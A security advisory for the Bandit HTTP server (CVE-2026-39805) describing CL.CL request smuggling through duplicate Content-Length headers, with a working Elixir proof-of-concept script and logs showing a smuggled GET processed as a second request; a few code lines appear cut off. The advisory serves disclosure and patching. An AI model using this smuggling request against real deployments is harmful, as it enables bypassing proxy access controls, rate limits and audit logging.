CL.CL request smuggling via unrejected duplicate `Content-Length

Moderate **mtrudel** published **GHSA-c67r-gc9j-2qf7** 5 hours ago

Package

bandit (Erlang)

Affected versions

< 1.11.0

Patched versions

1.11.0

Description

Summary

Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two `Content-Length` headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like `Content-Length`, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid `Content-Length` as an unrecoverable framing error. When Bandit sits behind a proxy that picks the *last* `Content-Length` and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.

The vulnerability was introduced prior to `v0.1.0 (released Nov 5, 2020)` on Nov 16, 2019: `e5270b1`

Details

`Bandit.Headers.get_content_length/1` (`lib/bandit/headers.ex`) calls `List.keyfind/3`, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (`Content-Length: 0, 43`) when values differ; the bug is that the multi-line form never reaches that check.

Fix: collect every `Content-Length` value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.

PoC

The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with `Content-Length: 0` followed by `Content-Length: 43` and a 43-byte body containing a valid `GET /smuggled HTTP/1.1` request line. Run with `elixir script.exs`

On Bandit 1.10.4 / Elixir 1.18, default config: two `200 OK` responses on the same TCP connection. First body `method=POST path=/`, second body `method=GET path=/smuggled`. Bandit accepted the malformed request and dispatched the embedded request line as a second request.

Impact

Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.

The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.

Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.

Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.

- Bandit directly on the internet: spec violation, no exploit.
- Bandit behind a major CDN/LB: almost certainly safe.
- Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.

Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.

Script and Logs

```
# Bandit HTTP/1 duplicate Content-Length first-wins PoC.
#
# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the
# first Content-Length value and silently ignores additional Content-Length
# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error
# and says the recipient MUST treat it as such.
#
# This is the classic CL.CL request-smuggling primitive. If a fronting proxy
# uses the *last* Content-Length while Bandit uses the first (or vice versa),
# the second "request" embedded in the first request's body gets dispatched
# as a new request on the same keep-alive connection - after the proxy has
# already applied its access controls.
#
# Run: elixir scripts/bandit/http1_duplicate_content_length.exs
```

```
Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule DemoApp do
  @behaviour Plug

  import Plug.Conn

  def init(opts), do: opts

  def call(conn, _opts) do
    send_resp(conn, 200, "method=#{conn.method} path=#{conn.request_path}\n")
  end
end

defmodule Smuggle do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    request = build_smuggling_request()
    log("Sending #{byte_size(request)}-byte CL.CL request:\n#{request}")

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    :ok = :gen_tcp.send(sock, request)

    response = read_all(sock)
    :gen_tcp.close(sock)

    log("Response stream:\n#{response}")
    diagnose(response)
  end

  # POST with two Content-Length headers, plus a smuggled GET line in the
  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)
  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request
  # line either gets parsed as a new request on the keep-alive connection
  # or stays in the buffer.
  defp build_smuggling_request do
    smuggled_request = "GET /smuggled HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
    smuggled_size = byte_size(smuggled_request)

    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1\r\n" <>
      "Content-Length: 0\r\n" <>
      "Content-Length: #{smuggled_size}\r\n" <>
      "\r\n" <>
      smuggled_request
  end

  defp read_all(sock, accumulated \\ "") do
    case :gen_tcp.recv(sock, 0, 2_000) do
```

```
      {:ok, bytes} -> read_all(sock, accumulated <> bytes)
      {:error, _reason} -> accumulated
    end
  end

  # Three observable outcomes:
  #   - 400 Bad Request -> RFC-conformant rejection (not what current
  #     Bandit does).
  #   - Two responses, second one for /smuggled -> Bandit dispatched the
  #     smuggled request as a second pipelined request.
  #   - One response -> Bandit accepted Content-Length: 0, the smuggled
  #     bytes sat in the keep-alive buffer; with a CL-last frontend this
  #     becomes a smuggled request on the next request boundary.
  defp diagnose(response) do
    response_lines = Regex.scan(~r/^HTTP\/1\.[01] \d{3}[^\r\n]*/m, response) |> List.fla
    log("HTTP/1.x response lines observed: #{length(response_lines)}")
    Enum.each(response_lines, fn line -> log("  #{line}") end)

    cond do
      response =~ ~r/^HTTP\/1\.[01] 400/ ->
        log("OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).")

      response =~ "/smuggled" ->
        log("VULNERABLE: smuggled GET /smuggled was processed as a second request.")

      length(response_lines) == 1 ->
        log("ACCEPTED: Bandit took the first Content-Length (0) and left the")
        log("smuggled request line in the keep-alive buffer. Combined with a")
        log("CL-last frontend this becomes request smuggling.")

      true ->
        log("Inconclusive - see raw response above.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{m
end

Smuggle.run()
```

```
11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[09:52:23.039] Sending 118-byte CL.CL request:
POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Content-Length: 43

GET /smuggled HTTP/1.1
Host: 127.0.0.1


[09:52:25.057] Response stream:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 19
```

```
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=POST path=/
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 26
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=GET path=/smuggled

[09:52:25.057] HTTP/1.x response lines observed: 2
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.
```

Severity

Moderate 6.3 / 10

CVSS v4 base metrics

Exploitability Metrics	
Attack Vector	Network
Attack Complexity	Low
Attack Requirements	Present
Privileges Required	None
User interaction	None
Vulnerable System Impact Metrics	
Confidentiality	Low
Integrity	Low
Availability	None
Subsequent System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	None

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CVE ID

CVE-2026-39805

Weaknesses

▶ CWE-444

Credits

 **PJUllrich**	Reporter
 **mtrudel**	Remediation developer
 **maennchen**	Coordinator